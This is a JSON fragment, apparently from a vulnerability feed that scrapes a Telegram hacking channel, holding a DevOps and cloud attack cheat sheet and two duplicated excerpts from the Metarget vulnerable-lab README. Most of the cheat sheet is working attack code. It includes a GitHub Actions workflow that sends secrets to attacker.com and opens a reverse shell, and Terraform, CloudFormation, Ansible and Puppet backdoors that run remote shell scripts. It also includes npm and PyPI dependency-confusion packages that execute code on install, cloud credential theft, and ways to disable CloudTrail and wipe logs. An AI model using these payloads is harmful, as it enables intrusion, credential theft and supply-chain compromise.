Workflow:**\n```yaml\n# .github/workflows/malicious.yml\nname: Malicious Action\n\non: [push]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Steal Secrets\n      run: |\n        echo \"Stealing secrets...\"\n        echo \"${{ secrets.GITHUB_TOKEN }}\" | curl -X POST --data-binary @- http://attacker.com/token\n        echo \"${{ secrets.AWS_ACCESS_KEY_ID }}\" | curl -X POST --data-binary @- http://attacker.com/aws\n        \n    - name: Reverse Shell\n      run: |\n        bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n        \n    - name: Exfiltrate Code\n      run: |\n        tar czf code.tar.gz .\n        curl -X POST --data-binary @code.tar.gz http://attacker.com/exfil\n```\n\n**Self-Hosted Runner Exploitation:**\n```bash\n# If you compromise a self-hosted runner\n# Check runner permissions\nwhoami\nsudo -l\n\n# Check for secrets in environment\nenv | grep -i secret\nenv | grep -i token\nenv | grep -i key\n\n# Access runner files\ncat /etc/passwd\nfind /home -name \"*.pem\" -o -name \"*.key\" -o -name \"*config*\"\n```\n\n---\n\n## Cloud Security Exploitation\n\n### **AWS Security Testing**\n\n**IAM Enumeration:**\n```bash\n# List IAM users\naws iam list-users\n\n# List IAM roles\naws iam list-roles\n\n# List IAM policies\naws iam list-policies\n\n# Get user details\naws iam get-user --user-name target-user\n\n# List user permissions\naws iam list-user-policies --user-name target-user\naws iam list-attached-user-policies --user-name target-user\n```\n\n**IAM Privilege Escalation:**\n```bash\n# Check for CreatePolicyVersion permission\naws iam simulate-principal-policy \\\n  --policy-source-arn arn:aws:iam::ACCOUNT_ID:user/target-user \\\n  --action-names iam:CreatePolicyVersion\n\n# If allowed, create new policy version with admin rights\naws iam create-policy-version \\\n  --policy-arn arn:aws:iam::ACCOUNT_ID:policy/target-policy \\\n  --policy-document file://admin-policy.json \\\n  --set-as-default\n\n# admin-policy.json:\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": \"*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\n```\n\n**S3 Bucket Enumeration & Exploitation:**\n```bash\n# List all buckets\naws s3 ls\n\n# List objects in bucket\naws s3 ls s3://bucket-name/\n\n# Download all files\naws s3 sync s3://bucket-name/ .\n\n# Check bucket permissions\naws s3api get-bucket-acl --bucket bucket-name\naws s3api get-bucket-policy --bucket bucket-name\n\n# Check for publicly accessible buckets\naws s3api get-public-access-block --bucket bucket-name\n\n# Upload malicious file\naws s3 cp shell.php s3://bucket-name/\n```\n\n**EC2 Instance Metadata Service (IMDS) Exploitation:**\n```bash\n# Access instance metadata (if allowed)\ncurl http://169.254.169.254/latest/meta-data/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name\n\n# For IMDSv2 (requires token)\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/\n```\n\n**Lambda Function Exploitation:**\n```bash\n# List Lambda functions\naws lambda list-functions\n\n# Get function details\naws lambda get-function --function-name target-function\n\n# Invoke function\naws lambda invoke --function-name target-function output.txt\n\n# Update function code with backdoor\naws lambda update-function-code \\\n  --function-name target-function \\\n  --zip-file fileb://malicious.zip\n```\n\n**CloudTrail Log Evasion:**\n```bash\n# Check if CloudTrail is enabled\naws cloudtrail describe-trails\n\n# Disable CloudTrail logging (if permissions allow)\naws cloudtrail stop-logging --name trail-name\n\n# Delete CloudTrail trail\naws cloudtrail delete-trail --name trail-name\n```\n\n### **Azure Security Testing**\n\n**Azure CLI Enumeration:**\n```bash\n# List subscriptions\naz account list\n\n# List resource groups\naz group list\n\n# List virtual machines\naz vm list\n\n# List storage accounts\naz storage account list\n\n# List key vaults\naz keyvault list\n```\n\n**Managed Identity Exploitation:**\n```bash\n# If on Azure VM with Managed Identity\ncurl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true\n\n# Use token to access Azure resources\nACCESS_TOKEN=$(curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true | jq -r .access_token)\n\n# List resources\ncurl -X GET -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  https://management.azure.com/subscriptions/SUBSCRIPTION_ID/resources?api-version=2020-06-01\n```\n\n**Key Vault Access:**\n```bash\n# List secrets in key vault\naz keyvault secret list --vault-name vault-name\n\n# Get secret value\naz keyvault secret show --vault-name vault-name --name secret-name\n\n# Set secret (if permissions allow)\naz keyvault secret set --vault-name vault-name --name backdoor --value \"malicious-data\"\n```\n\n**Storage Account Exploitation:**\n```bash\n# List storage account keys\naz storage account keys list --account-name storage-name --resource-group rg-name\n\n# Access storage container\naz storage container list --account-name storage-name --account-key ACCESS_KEY\n\n# Download blob\naz storage blob download --account-name storage-name --account-key ACCESS_KEY \\\n  --container-name container-name --name blob-name --file downloaded-file\n```\n\n### **Google Cloud Platform (GCP) Security Testing**\n\n**GCP Enumeration:**\n```bash\n# List projects\ngcloud projects list\n\n# List compute instances\ngcloud compute instances list\n\n# List storage buckets\ngsutil ls\n\n# List service accounts\ngcloud iam service-accounts list\n\n# List firewall rules\ngcloud compute firewall-rules list\n```\n\n**Service Account Key Extraction:**\n```bash\n# If on GCE instance with service account\ncurl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\n\n# Access token\nACCESS_TOKEN=$(curl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | jq -r .access_token)\n\n# Use token to access GCP APIs\ncurl -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones\n```\n\n**Cloud Storage Bucket Enumeration:**\n```bash\n# List all buckets\ngsutil ls\n\n# List objects in bucket\ngsutil ls gs://bucket-name/\n\n# Download object\ngsutil cp gs://bucket-name/object-name .\n\n# Check bucket permissions\ngsutil iam get gs://bucket-name\n\n# Check if bucket is publicly accessible\ngsutil acl get gs://bucket-name\n```\n\n**Cloud Functions Exploitation:**\n```bash\n# List functions\ngcloud functions list\n\n# Get function details\ngcloud functions describe function-name\n\n# Deploy malicious function\ngcloud functions deploy backdoor \\\n  --runtime python37 \\\n  --trigger-http \\\n  --allow-unauthenticated \\\n  --source=./malicious-code\n```\n\n---\n\n## Infrastructure as Code (IaC) Security\n\n### **Terraform Misconfigurations**\n\n**Terraform State File Access:**\n```bash\n# If you find terraform.tfstate file\ncat terraform.tfstate | jq '.resources[] | select(.type==\"aws_instance\")'\ncat terraform.tfstate | jq '.resources[] | select(.type==\"aws_iam_user\")'\n\n# Extract sensitive data\ncat terraform.tfstate | grep -i \"password\\|secret\\|key\\|token\"\n```\n\n**Malicious Terraform Configuration:**\n```hcl\n# main.tf with backdoor\nresource \"aws_instance\" \"backdoor\" {\n  ami           = \"ami-0c55b159cbfafe1f0\"\n  instance_type = \"t2.micro\"\n  \n  user_data = <<-EOF\n              #!/bin/bash\n              curl http://attacker.com/shell.sh | bash\n              EOF\n}\n\n# Create IAM user with admin access\nresource \"aws_iam_user\" \"attacker\" {\n  name = \"attacker\"\n}\n\nresource \"aws_iam_user_policy_attachment\" \"admin\" {\n  user       = aws_iam_user.attacker.name\n  policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n\n# Output credentials\noutput \"access_key\" {\n  value     = aws_iam_access_key.attacker.id\n  sensitive = false\n}\n\noutput \"secret_key\" {\n  value     = aws_iam_access_key.attacker.secret\n  sensitive = false\n}\n```\n\n### **CloudFormation Exploitation**\n\n**Malicious CloudFormation Template:**\n```yaml\nAWSTemplateFormatVersion: '2010-09-09'\nResources:\n  BackdoorInstance:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: ami-0c55b159cbfafe1f0\n      InstanceType: t2.micro\n      UserData:\n        Fn::Base64: |\n          #!/bin/bash\n          curl http://attacker.com/shell.sh | bash\n  \n  AttackerUser:\n    Type: AWS::IAM::User\n  \n  AdminPolicy:\n    Type: AWS::IAM::Policy\n    Properties:\n      PolicyName: AdminAccess\n      PolicyDocument:\n        Version: '2012-10-17'\n        Statement:\n          - Effect: Allow\n            Action: '*'\n            Resource: '*'\n      Users:\n        - Ref: AttackerUser\n  \n  AccessKey:\n    Type: AWS::IAM::AccessKey\n    Properties:\n      UserName: !Ref AttackerUser\n\nOutputs:\n  AccessKeyId:\n    Value: !Ref AccessKey\n  SecretAccessKey:\n    Value: !GetAtt AccessKey.SecretAccessKey\n```\n\n---\n\n## Configuration Management Security\n\n### **Ansible Security Issues**\n\n**Ansible Vault Password Extraction:**\n```bash\n# If you find ansible vault file\nansible-vault view vault.yml\n\n# Try common passwords\nfor pass in $(cat wordlist.txt); do\n  echo $pass | ansible-vault view vault.yml --vault-password-file /dev/stdin 2>/dev/null\n  if [ $? -eq 0 ]; then\n    echo \"Password found: $pass\"\n    break\n  fi\ndone\n```\n\n**Malicious Ansible Playbook:**\n```yaml\n---\n- name: Malicious Playbook\n  hosts: all\n  become: yes\n  tasks:\n    - name: Install backdoor\n      shell: |\n        curl http://attacker.com/backdoor.sh | bash\n        \n    - name: Create reverse shell\n      shell: |\n        bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n        \n    - name: Exfiltrate secrets\n      shell: |\n        cat /etc/passwd | curl -X POST --data-binary @- http://attacker.com/passwd\n        cat ~/.ssh/id_rsa | curl -X POST --data-binary @- http://attacker.com/sshkey\n```\n\n### **Puppet Security Exploitation**\n\n**Puppet Master Compromise:**\n```bash\n# If you compromise puppet master\n# List all nodes\npuppet node find --all\n\n# Deploy malicious manifest\ncat > /etc/puppetlabs/code/environments/production/manifests/backdoor.pp << 'EOF'\nnode default {\n  exec { 'backdoor':\n    command => 'curl http://attacker.com/shell.sh | bash',\n    path    => ['/bin', '/usr/bin'],\n  }\n}\nEOF\n\n# Force puppet agents to run\npuppet kick --all\n```\n\n### **Chef Security Issues**\n\n**Chef Server Exploitation:**\n```bash\n# If you compromise chef server\n# List all nodes\nknife node list\n\n# Get node details\nknife node show node-name\n\n# Upload malicious cookbook\nknife cookbook upload backdoor\n\n# Add recipe to node run list\nknife node run_list add node-name \"recipe[backdoor]\"\n```\n\n---\n\n## Network Security in DevOps\n\n### **Service Mesh Security**\n\n**Istio Security Testing:**\n```bash\n# Check Istio configuration\nkubectl get istiooperator -n istio-system\nkubectl get peerauthentication -A\nkubectl get authorizationpolicies -A\n\n# Bypass mTLS if misconfigured\ncurl -k https://service.namespace.svc.cluster.local:443\n\n# If mTLS is disabled, access services directly\ncurl http://service.namespace.svc.cluster.local:80\n```\n\n**Linkerd Security Testing:**\n```bash\n# Check Linkerd configuration\nkubectl get meshpolicies -A\nkubectl get serverauthorizations -A\n\n# Test service access\ncurl http://service.namespace.svc.cluster.local:4140\n```\n\n### **API Gateway Security**\n\n**Kong API Gateway:**\n```bash\n# Check Kong configuration\ncurl http://kong-admin:8001/\n\n# List all routes\ncurl http://kong-admin:8001/routes\n\n# Check for exposed admin interface\ncurl http://kong:8000/\n```\n\n**NGINX Ingress Controller:**\n```bash\n# Get ingress configurations\nkubectl get ingress -A\n\n# Check for misconfigurations\nkubectl get ingress -o yaml | grep -i \"host\\|path\\|service\"\n\n# Test path traversal\ncurl http://ingress/service/../../etc/passwd\n```\n\n---\n\n## Monitoring & Logging Security\n\n### **Log Injection & Evasion**\n\n**Log Injection Attacks:**\n```bash\n# Inject malicious content into logs\necho \"User logged in: admin'; DROP TABLE users; --\" >> /var/log/auth.log\n\n# Obfuscate commands in logs\n# Use encoded commands\n$(echo -n \"whoami\" | base64) | base64 -d | bash\n\n# Use character substitution\nw$(echo h)o$(echo a)m$(echo i)\n\n# Use environment variables\n${PATH:0:1}${PATH:4:1}${PATH:4:1}${PATH:11:1}\n```\n\n**Log Evasion Techniques:**\n```bash\n# Delete specific log entries\nsed -i '/ATTACKER_IP/d' /var/log/auth.log\n\n# Clear entire log\n> /var/log/auth.log\n\n# Rotate logs to hide evidence\nlogrotate -f /etc/logrotate.conf\n\n# Disable logging temporarily\nservice rsyslog stop\n```\n\n### **Monitoring System Exploitation**\n\n**Prometheus Security:**\n```bash\n# Check if Prometheus is exposed\ncurl http://prometheus:9090/\n\n# Access metrics\ncurl http://prometheus:9090/api/v1/query?query=up\n\n# If authentication is weak or missing\ncurl http://prometheus:9090/api/v1/targets\n\n# Access configuration\ncurl http://prometheus:9090/api/v1/status/config\n```\n\n**Grafana Security Testing:**\n```bash\n# Check for default credentials\ncurl -X POST http://grafana:3000/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"user\":\"admin\",\"password\":\"admin\"}'\n\n# Check for API access\ncurl http://grafana:3000/api/dashboards/db\n\n# If authenticated, create dashboard with malicious panel\ncurl -X POST http://grafana:3000/api/dashboards/db \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer \" \\\n  -d @malicious-dashboard.json\n```\n\n---\n\n## Supply Chain Security Attacks\n\n### **Dependency Confusion**\n\n**Malicious Package Upload:**\n```bash\n# Create malicious npm package\nnpm init -y\ncat > index.js << 'EOF'\nconst { exec } = require('child_process');\nexec('curl http://attacker.com/shell.sh | bash');\nEOF\n\n# Publish to public registry\nnpm publish\n\n# Wait for internal build system to download it\n```\n\n**PyPI Package Attack:**\n```python\n# setup.py with malicious code\nfrom setuptools import setup\nimport os\n\n# Execute on install\nos.system('curl http://attacker.com/shell.sh | bash')\n\nsetup(\n    name='internal-package-name',\n    version='999.0.0',  # Higher version than internal\n    packages=[],\n)\n```\n\n### **Container Image Tampering**\n\n**Malicious Docker Image:**\n```dockerfile\nFROM alpine:latest\n\n# Add backdoor\nRUN apk add --no-cache curl\nRUN curl http://attacker.com/backdoor.sh -o /backdoor.sh\nRUN chmod +x /backdoor.sh\nRUN echo \"*/5 * * * * root /backdoor.sh\" >> /etc/crontabs/root\n\n# Original application\nCOPY app /app\nCMD [\"/app/start.sh\"]\n```\n\n**Push to Container Registry:**\n```bash\n# Tag with same name as internal image\ndocker tag malicious-image registry.internal.com/app:latest\n\n# Push to registry\ndocker push registry.internal.com/app:latest\n\n# The next deployment will use the malicious image\n```\n\n---\n\n## Defense & Detection Techniques\n\n### **Security Hardening**\n\n**Container Security:**\n```bash\n# Run container with minimal privileges\ndocker run --read-only --security-opt=no-new-privileges alpine\n\n# Drop all capabilities, add only required\ndocker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE nginx\n\n# Use seccomp profile\ndocker run --security-opt seccomp=default.json alpine\n\n# Use AppArmor profile\ndocker run --security-opt apparmor=docker-default alpine\n```\n\n**Kubernetes Security:**\n```yaml\n# Pod Security Context\napiVersion: v1\nkind: Pod\nmetadata:\n  name: secure-pod\nspec:\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 1000\n    seccompProfile:\n      type: RuntimeDefault\n  containers:\n  - name: secure-container\n    image: alpine\n    securityContext:\n      allowPrivilegeEscalation: false\n      capabilities:\n        drop:\n        - ALL\n      readOnlyRootFilesystem: true\n```\n\n**AWS Security Hardening:**\n```bash\n# Enable S3 bucket encryption\naws s3api put-bucket-encryption \\\n  --bucket bucket-name \\\n  --server-side-encryption-configuration '{\"Rules\": [{\"ApplyServerSideEncryptionByDefault\": {\"SSEAlgorithm\": \"AES256\"}}]}'\n\n# Enable S3 bucket logging\naws s3api put-bucket-logging \\\n  --bucket bucket-name \\\n  --bucket-logging-status '{\"LoggingEnabled\": {\"TargetBucket\": \"log-bucket\", \"TargetPrefix\": \"logs/\"}}'\n\n# Enable CloudTrail\naws cloudtrail create-trail \\\n  --name security-trail \\\n  --s3-bucket-name log-bucket \\\n  --is-multi-region-trail\n```\n\n### **Detection & Monitoring**\n\n**CloudTrail Monitoring:**\n```sql\n-- CloudTrail query for suspicious activities\nSELECT *\nFROM cloudtrail_logs\nWHERE eventName IN ('CreateUser', 'CreateAccessKey', 'PutRolePolicy', 'AttachUserPolicy')\n  AND userIdentity.type != 'Root'\n  AND eventTime > '2024-01-01T00:00:00Z'\n```\n\n**Kubernetes Audit Logging:**\n```yaml\napiVersion: audit.k8s.io/v1\nkind: Policy\nrules:\n  - level: Metadata\n    resources:\n      - group: \"\"\n        resources: [\"secrets\", \"configmaps\"]\n    namespaces: [\"kube-system\"]\n  - level: RequestResponse\n    resources:\n      - group: \"rbac.authorization.k8s.io\"\n        resources: [\"clusterrolebindings\", \"rolebindings\"]\n```\n\n**Container Runtime Security:**\n```bash\n# Use Falco for runtime security\nfalco -r /etc/falco/falco_rules.yaml\n\n# Monitor for suspicious activities\n- rule: Terminal shell in container\n  desc: A shell was spawned in a container\n  condition: container.id != host and proc.name = bash\n  output: \"Shell spawned in container (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)\"\n  priority: WARNING\n```\n\n---\n\n## Incident Response & Forensics\n\n### **Container Forensics**\n\n**Investigate Compromised Container:**\n```bash\n# Check running containers\ndocker ps -a\n\n# Inspect container\ndocker inspect \n\n# Check container logs\ndocker logs \n\n# Copy files from container\ndocker cp :/path/to/file .\n\n# Check container processes\ndocker top \n\n# Check container network\ndocker exec  netstat -tulpn\n```\n\n**Kubernetes Incident Response:**\n```bash\n# Get all resources\nkubectl get all --all-namespaces\n\n# Check events\nkubectl get events --all-namespaces\n\n# Check pods for compromise\nkubectl describe pod  -n \n\n# Get logs\nkubectl logs  -n \n\n# Check for suspicious service accounts\nkubectl get serviceaccounts --all-namespaces\nkubectl get clusterrolebindings -o wide\n```\n\n### **Cloud Incident Response**\n\n**AWS Compromise Response:**\n```bash\n# List all IAM users and their last activity\naws iam generate-credential-report\naws iam get-credential-report\n\n# Check for unauthorized resources\naws resourcegroupstaggingapi get-resources\n\n# Check CloudTrail for suspicious activity\naws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser\n\n# Revoke compromised credentials\naws iam update-access-key --user-name compromised-user --access-key-id AKIA... --status Inactive\n```\n\n---\n\n## Quick Reference Commands\n\n### **Most Critical Commands**\n\n```bash\n# Check for misconfigured Docker\ndocker run --rm -it --privileged ubuntu bash\n\n# Check Kubernetes RBAC\nkubectl auth can-i --list\n\n# Check AWS IAM permissions\naws iam simulate-principal-policy --policy-source-arn arn:aws:iam::ACCOUNT_ID:user/user-name --action-names \"*\"\n\n# Check Azure permissions\naz role assignment list --assignee \n\n# Check GCP permissions\ngcloud projects get-iam-policy PROJECT_ID\n```\n\n### **Detection Commands**\n\n```bash\n# Check for running containers\ndocker ps\nkubectl get pods -A\n\n# Check for exposed services\nnetstat -tulpn\nss -tulpn\n\n# Check for suspicious processes\nps aux | grep -E \"(bash|sh|python|perl|curl|wget)\"\n\n# Check for unauthorized users\ncat /etc/passwd\nawk -F: '($3 == 0) {print}' /etc/passwd\n```\n\n### **Remediation Commands**\n\n```bash\n# Stop and remove compromised container\ndocker stop  && docker rm \n\n# Delete compromised pod\nkubectl delete pod  -n \n\n# Revoke AWS credentials\naws iam update-access-key --user-name  --access-key-id  --status Inactive\n\n# Rotate all secrets\nkubectl delete secrets --all -n \n```\n\n---", "creation_timestamp": "2026-08-25T16:24:58.466018Z"}, {"uuid": "692fb171-8ae4-4394-8de0-e0b5a0dc262f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "seen", "source": "https://t.me/hacking_Attack/11443", "content": "Run ./metarget appv list to see vulnerable scenes related to cloud native applications supported currently.  Note:  Before deploying application vulnerable scenes, you should install Docker and Kubernetes firstly. You can use Metarget to install Docker and Kubernetes.  \n2.4.1 Case: DVWA\n  Run:  ./metarget appv install dvwa  If the command above completes successfully, DVWA (https://github.com/digininja/DVWA) will be deployed as Deployment and Service resources in current Kubernetes.  Note:  You can specify --external option, then the service will be exposed as NodePort, so that you can visit it by IP of the host node.  By default, the type of service is ClusterIP.  \n2.5 Manage Vulnerable Cloud Native Target Cluster\n  Developing, currently not supported.  \n3 Installation\n  \n3.1 Requirements\n    Ubuntu 16.04 or 18.04  Python >= 3.5  pip3    \n3.2 From Source\n  Clone the repository and install requirements:  git clone https://github.com/brant-ruan/metarget.git\ncd metarget/\npip install -r requirements.txt  Begin to use Metarget and construct vulnerable scenes. For example:  ./metarget cnv install cve-2019-5736  \n3.3 From PyPI\n  Currently unsupported.  \n4 Scene List\n  \n4.1 Vulnerable Scenes Related to Cloud Native Components\n    Name  Class  Type  CVSS 3.x  Status      cve-2018-15664 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2018-15664.yaml)  docker  container_escape  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2018-15664)  \u2705      cve-2019-13139 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-13139.yaml)  docker  command_execution  8.4 (https://nvd.nist.gov/vuln/detail/CVE-2019-13139)  \u2705      cve-2019-14271 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-14271.yaml)  docker  container_escape  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2019-14271)  \u2705      cve-2020-15257 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2020-15257.yaml)  docker/containerd  container_escape  5.2 (https://nvd.nist.gov/vuln/detail/CVE-2020-15257)  \u2705      cve-2019-5736 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-5736.yaml)  docker/runc  container_escape  8.6 (https://nvd.nist.gov/vuln/detail/CVE-2019-5736)  \u2705      cve-2017-1002101 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2017-1002101.yaml)  kubernetes  container_escape  9.6 (https://nvd.nist.gov/vuln/detail/CVE-2017-1002101)  \u2705      cve-2018-1002105 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2018-1002105.yaml)  kubernetes  privilege_escalation  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2018-1002105)  \u2705      cve-2019-11253 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-11253.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-11253)  \u2705      cve-2019-9512 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9512.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9512)  \u2705      cve-2019-9514 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9514.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9514)  \u2705      cve-2020-8554 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8554.yaml)  kubernetes  man_in_the_middle  5.0 (https://nvd.nist.gov/vuln/detail/CVE-2020-8554)  \u2705      cve-2020-8557 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8557.yaml)  kubernetes  denial_of_service  5.5 (https://nvd.nist.gov/vuln/detail/CVE-2020-8557)  \u2705      cve-2020-8558 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8558.yaml)  kubernetes  exposure_of_service  8.8 (https://nvd.nist.gov/vuln/detail/CVE-2020-8558)  \u2705      cve-2016-5195 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kernel/cve-2016-5195.yaml)  kernel", "creation_timestamp": "2026-09-01T20:02:38.936504Z"}, {"uuid": "e48dc666-f1a1-4af3-9b51-4873ee6db3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "seen", "source": "https://t.me/hacking_Attack/11443", "content": "Run ./metarget appv list to see vulnerable scenes related to cloud native applications supported currently.  Note:  Before deploying application vulnerable scenes, you should install Docker and Kubernetes firstly. You can use Metarget to install Docker and Kubernetes.  \n2.4.1 Case: DVWA\n  Run:  ./metarget appv install dvwa  If the command above completes successfully, DVWA (https://github.com/digininja/DVWA) will be deployed as Deployment and Service resources in current Kubernetes.  Note:  You can specify --external option, then the service will be exposed as NodePort, so that you can visit it by IP of the host node.  By default, the type of service is ClusterIP.  \n2.5 Manage Vulnerable Cloud Native Target Cluster\n  Developing, currently not supported.  \n3 Installation\n  \n3.1 Requirements\n    Ubuntu 16.04 or 18.04  Python >= 3.5  pip3    \n3.2 From Source\n  Clone the repository and install requirements:  git clone https://github.com/brant-ruan/metarget.git\ncd metarget/\npip install -r requirements.txt  Begin to use Metarget and construct vulnerable scenes. For example:  ./metarget cnv install cve-2019-5736  \n3.3 From PyPI\n  Currently unsupported.  \n4 Scene List\n  \n4.1 Vulnerable Scenes Related to Cloud Native Components\n    Name  Class  Type  CVSS 3.x  Status      cve-2018-15664 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2018-15664.yaml)  docker  container_escape  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2018-15664)  \u2705      cve-2019-13139 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-13139.yaml)  docker  command_execution  8.4 (https://nvd.nist.gov/vuln/detail/CVE-2019-13139)  \u2705      cve-2019-14271 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-14271.yaml)  docker  container_escape  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2019-14271)  \u2705      cve-2020-15257 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2020-15257.yaml)  docker/containerd  container_escape  5.2 (https://nvd.nist.gov/vuln/detail/CVE-2020-15257)  \u2705      cve-2019-5736 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-5736.yaml)  docker/runc  container_escape  8.6 (https://nvd.nist.gov/vuln/detail/CVE-2019-5736)  \u2705      cve-2017-1002101 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2017-1002101.yaml)  kubernetes  container_escape  9.6 (https://nvd.nist.gov/vuln/detail/CVE-2017-1002101)  \u2705      cve-2018-1002105 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2018-1002105.yaml)  kubernetes  privilege_escalation  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2018-1002105)  \u2705      cve-2019-11253 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-11253.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-11253)  \u2705      cve-2019-9512 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9512.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9512)  \u2705      cve-2019-9514 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9514.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9514)  \u2705      cve-2020-8554 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8554.yaml)  kubernetes  man_in_the_middle  5.0 (https://nvd.nist.gov/vuln/detail/CVE-2020-8554)  \u2705      cve-2020-8557 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8557.yaml)  kubernetes  denial_of_service  5.5 (https://nvd.nist.gov/vuln/detail/CVE-2020-8557)  \u2705      cve-2020-8558 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8558.yaml)  kubernetes  exposure_of_service  8.8 (https://nvd.nist.gov/vuln/detail/CVE-2020-8558)  \u2705      cve-2016-5195 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kernel/cve-2016-5195.yaml)  kernel", "creation_timestamp": "2026-09-02T01:03:14.638934Z"}]}